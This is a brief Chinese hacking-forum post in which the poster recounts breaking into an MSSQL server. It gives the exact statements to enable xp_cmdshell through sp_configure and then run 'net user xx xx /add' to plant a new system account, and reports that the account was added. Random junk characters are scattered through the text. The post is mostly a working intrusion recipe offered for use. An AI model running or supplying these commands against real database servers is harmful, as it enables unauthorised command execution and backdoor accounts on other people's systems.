saitojie (阿呆)当前离线
www.cispcn.com
超级版主
7 L: x9 h! o P& V1 `' m5 K' _于是开始找开启语句,对mssql的玩的少,不是太熟悉! 4 m4 b: _7 q$ [6 y1 F后来二少给我了语句,便去继续日之) Y( R+ {9 l1 H: C* e1 w3 \) c EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 9 p& `" s- z8 S3 t1为开启,0则为关闭!# {2 u& B$ f# ?% n* @$ o/ O 然后执行 ' B# Z8 s: `, o5 r; C0 Y/ R2 ^1 YEXEC [master].[dbo].[xp_cmdshell] 'cmd /c net user xx xx /add'6 R, a+ e! O6 i- U9 A 即可/ ~) E) W- P0 S9 ] 回过头去看看,发现用户已经成功添加上了! 5 v. g9 k/ T0 w4 g- d) x% h4 o
TOP